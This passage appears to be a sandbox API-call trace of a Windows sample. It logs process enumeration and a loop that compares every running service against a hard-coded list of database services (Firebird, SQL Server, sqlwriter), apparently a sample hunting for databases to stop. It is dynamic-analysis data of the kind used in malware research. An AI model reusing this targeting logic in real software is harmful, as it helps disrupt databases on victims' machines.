szExeFile="conhost.exe")) returned 1 [0229.029] lstrlenW (lpString="conhost.exe") returned 11 [0229.029] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0229.030] CloseHandle (hObject=0x390) returned 1 [0229.030] Sleep (dwMilliseconds=0x1f4) [0229.715] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6fb718 [0229.716] EnumServicesStatusExW (in: hSCManager=0x6fb718, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0229.716] GetLastError () returned 0xea [0229.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x425de48 [0229.717] EnumServicesStatusExW (in: hSCManager=0x6fb718, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x425de48, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x425de48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0229.718] CloseServiceHandle (hSCObject=0x6fb718) returned 1 [0229.718] lstrlenW (lpString="AppXSvc") returned 7 [0229.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0229.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0229.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0229.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0229.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0229.719] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0229.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0229.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0229.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0229.719] lstrlenW (lpString="Audiosrv") returned 8 [0229.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0229.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0229.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0229.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0229.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0229.719] lstrlenW (lpString="BFE") returned 3 [0229.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0229.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0229.719] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0229.719] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0229.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0229.719] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0229.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0229.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0229.719] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0229.719] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0229.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0229.720] lstrlenW (lpString="CDPSvc") returned 6 [0229.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0229.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0229.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0229.720] lstrlenW (lpString="ClickToRunSvc") returned 13 [0229.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0229.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0229.720] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0229.720] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0229.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0229.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0229.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0229.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0229.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0229.720] lstrlenW (lpString="CryptSvc") returned 8 [0229.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0229.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0229.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0229.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0229.720] lstrlenW (lpString="DcomLaunch") returned 10 [0229.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0229.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0229.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0229.721] lstrlenW (lpString="DeviceAssociationService") returned 24 [0229.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0229.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0229.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0229.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0229.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0229.721] lstrlenW (lpString="Dhcp") returned 4 [0229.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0229.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0229.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0229.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0229.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0229.721] lstrlenW (lpString="Dnscache") returned 8 [0229.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0229.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0229.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0229.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0229.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0229.721] lstrlenW (lpString="DPS") returned 3 [0229.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0229.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0229.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0229.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0229.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0229.722] lstrlenW (lpString="DusmSvc") returned 7 [0229.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0229.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0229.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0229.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0229.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0229.722] lstrlenW (lpString="EventLog") returned 8 [0229.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0229.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0229.722] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0229.722] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0229.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0229.722] lstrlenW (lpString="EventSystem") returned 11 [0229.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0229.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0229.722] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0229.722] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0229.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0229.722] lstrlenW (lpString="FontCache") returned 9 [0229.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0229.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0229.722] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0229.722] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0229.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0229.723] lstrlenW (lpString="gpsvc") returned 5 [0229.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0229.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0229.723] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0229.723] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0229.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0229.723] lstrlenW (lpString="iphlpsvc") returned 8 [0229.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0229.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0229.723] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0229.723] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0229.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0229.723] lstrlenW (lpString="KeyIso") returned 6 [0229.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0229.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0229.723] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0229.723] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0229.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0229.723] lstrlenW (lpString="LanmanServer") returned 12 [0229.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0229.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0229.723] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0229.723] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0229.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0229.723] lstrlenW (lpString="LanmanWorkstation") returned 17 [0229.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0229.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0229.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0229.724] lstrlenW (lpString="lfsvc") returned 5 [0229.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0229.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0229.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0229.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0229.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0229.724] lstrlenW (lpString="lmhosts") returned 7 [0229.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0229.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0229.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0229.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0229.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0229.724] lstrlenW (lpString="LSM") returned 3 [0229.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0229.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0229.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0229.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0229.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0229.724] lstrlenW (lpString="MpsSvc") returned 6 [0229.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0229.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0229.725] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0229.725] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0229.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0229.725] lstrlenW (lpString="NcbService") returned 10 [0229.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0229.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0229.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0229.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0229.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0229.725] lstrlenW (lpString="netprofm") returned 8 [0229.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0229.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0229.725] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0229.725] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0229.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0229.725] lstrlenW (lpString="NgcSvc") returned 6 [0229.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0229.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0229.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0229.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0229.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0229.725] lstrlenW (lpString="NlaSvc") returned 6 [0229.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0229.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0229.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0229.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0229.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0229.726] lstrlenW (lpString="nsi") returned 3 [0229.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0229.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0229.726] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0229.726] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0229.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0229.726] lstrlenW (lpString="PcaSvc") returned 6 [0229.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0229.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0229.726] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0229.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0229.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0229.726] lstrlenW (lpString="PlugPlay") returned 8 [0229.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0229.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0229.726] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0229.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0229.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0229.726] lstrlenW (lpString="Power") returned 5 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0229.973] lstrlenW (lpString="ProfSvc") returned 7 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0229.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0229.973] lstrlenW (lpString="RpcEptMapper") returned 12 [0229.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0229.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0229.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0229.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0229.974] lstrlenW (lpString="RpcSs") returned 5 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0229.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0229.995] lstrlenW (lpString="SamSs") returned 5 [0229.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0229.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0229.995] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0229.995] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0229.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0229.995] lstrlenW (lpString="Schedule") returned 8 [0229.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0229.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0229.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0229.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0229.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0229.996] lstrlenW (lpString="SecurityHealthService") returned 21 [0229.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0229.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0229.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0229.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0229.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0229.996] lstrlenW (lpString="SENS") returned 4 [0229.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0229.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0229.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0229.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0229.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0229.996] lstrlenW (lpString="ShellHWDetection") returned 16 [0229.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0229.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0229.996] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0229.996] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0229.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0229.997] lstrlenW (lpString="Spooler") returned 7 [0229.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0229.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0229.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0229.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0229.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0229.997] lstrlenW (lpString="StateRepository") returned 15 [0229.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0229.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0229.997] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0229.997] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0229.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0229.997] lstrlenW (lpString="SysMain") returned 7 [0229.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0229.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0229.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0229.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0229.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0229.997] lstrlenW (lpString="SystemEventsBroker") returned 18 [0229.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0229.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0229.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0229.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0229.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0229.997] lstrlenW (lpString="Themes") returned 6 [0229.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0229.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0229.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0229.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0229.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0229.998] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0229.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0229.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0229.998] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0229.998] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0229.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0229.998] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0229.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0229.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0229.998] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0229.998] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0229.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x425de48 | out: hHeap=0x670000) returned 1 [0229.998] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x418 [0230.003] Process32FirstW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.004] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.004] lstrlenW (lpString="System") returned 6 [0230.004] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.005] lstrlenW (lpString="smss.exe") returned 8 [0230.005] 